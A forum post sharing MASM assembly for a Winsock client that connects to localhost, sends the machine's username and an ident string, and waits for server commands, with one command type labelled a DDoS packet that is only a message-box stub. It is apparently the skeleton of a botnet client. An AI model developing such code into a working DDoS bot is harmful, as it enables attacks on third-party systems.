Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


[masm] winsock client example filter_list
Author
Message
[masm] winsock client example #1
Code:
; Winsock Client Example
; Coded by dopamine for vsec.co
.386
.model flat, stdcall
option casemap: none

include ws2_32.inc
include windows.inc
include user32.inc
include kernel32.inc
include masm32.inc
include advapi32.inc

includelib kernel32.lib
includelib user32.lib
includelib ws2_32.lib
includelib masm32.lib
includelib advapi32.lib

.data
    szRemoteHost db "127.0.0.1", 0
    iRemotePort dd 81
    szConnected db "Connected!", 0
    szErrorSending db "Sending error!", 0
    RemoteAddr sockaddr_in <>
    
    szIdent db "1.0.0.0|%s|%s|%s", 0
    szStatus db "Idle...", 0
    szOS db "Windows 7", 0
    szUsername db "Admin", 0
    
    szDdosPacket db "Ddos packet", 0
    
.data?
    wsaData WSADATA <>
    hClient dd ?
    
.code
    GetPCUsername proc pUsername: DWORD
        Local dwBufferSize: DWORD
        mov dwBufferSize, 256
        
        invoke GetUserName, pUsername, addr dwBufferSize
        invoke lstrlen, pUsername
        ret
    GetPCUsername endp
    
    SendPacket proc bPacket: BYTE, pBuffer: DWORD
        Local pData[256]: BYTE
        
        invoke RtlZeroMemory, addr pData, 256 ;Init memory
        
        invoke lstrcat, addr pData, addr bPacket ;Append Packet_ID to Packet
        invoke lstrcat, addr pData, pBuffer ;Append Buffer to Packet
        
        invoke lstrlen, addr pData ;Get length of Packet
        invoke send, hClient, addr pData, eax, 0 ;Send packet to server
        
        invoke RtlZeroMemory, addr pData, 256 ;Clear memory
        ret
    SendPacket endp
    
    ConnectToServer proc
        mov RemoteAddr.sin_family, AF_INET
        
        invoke htons, iRemotePort
        mov RemoteAddr.sin_port, ax
        
        invoke inet_addr, addr szRemoteHost
        mov RemoteAddr.sin_addr, eax
        
        invoke connect, hClient, addr RemoteAddr, sizeof RemoteAddr
        ret
    ConnectToServer endp
    
    Send_Ident proc
        Local pBuffer[256]: BYTE
        
        invoke RtlZeroMemory, addr pBuffer, 256
        
        invoke GetPCUsername, addr szUsername
        
        invoke wsprintf, addr pBuffer, addr szIdent, addr szStatus, addr szUsername, addr szOS

        invoke SendPacket, 1, addr pBuffer
        
        invoke RtlZeroMemory, addr pBuffer, 256
        
        ret
    Send_Ident endp
    
    Handle_Data proc bPacket: BYTE, pData: DWORD
        
        cmp byte ptr [bPacket], 1
        je handle_ddos
        jne finish
        
        handle_ddos:
        invoke MessageBox, 0, addr szDdosPacket, addr szDdosPacket, 0
        jmp finish
        
        finish:
        ret
    Handle_Data endp
    
    ReceiveData proc
        Local pBuffer[8192]: BYTE
        Local dwRead: DWORD
        Local bPacket: BYTE
        Local pArguments: DWORD
        
        invoke RtlZeroMemory, addr pBuffer, 8192
        
        receive:
        invoke recv, hClient, addr pBuffer, sizeof pBuffer, 0
        
        cmp eax, 0
        je disconnect
        cmp eax, SOCKET_ERROR
        je disconnect
        
        handle_data:
        
        mov dwRead, eax ;Move readed amount of data in dwRead

        invoke RtlMoveMemory, addr bPacket, addr pBuffer, 1

        mov eax, dwRead
        dec eax
        
        push eax
        
        invoke VirtualAlloc, 0, eax, MEM_COMMIT, PAGE_EXECUTE_READWRITE
        mov pArguments, eax
        
        pop eax
        
        invoke RtlMoveMemory, pArguments, addr pBuffer[1], eax
        
        invoke Handle_Data, bPacket, pArguments
        
        invoke RtlZeroMemory, addr pBuffer, 8192
        jmp receive
        
        disconnect:
        ret
    ReceiveData endp
    
    
    start:
        invoke WSAStartup, 101h, addr wsaData
        cmp eax, eax
        jz connect_to_server
        
        xor eax, eax ; set eax to 0
        invoke ExitProcess, eax; ExitProcess(0)

        connected_to_server:
            invoke MessageBox, NULL, addr szConnected, addr szConnected, NULL
            
            invoke Send_Ident
            
            invoke ReceiveData
            
            invoke closesocket, hClient

            jmp connect_to_server
        connect_to_server:
                invoke MessageBox, NULL, addr szRemoteHost, addr szRemoteHost, NULL
                invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP ;create socket
                cmp eax, SOCKET_ERROR ; check if created successfully
                je connect_to_server; Failed. Try again
                mov hClient, eax
                invoke ConnectToServer
                cmp eax, 0
                je connected_to_server
                invoke closesocket, hClient
                jmp connect_to_server
    
    end start

Reply







Users browsing this thread: 1 Guest(s)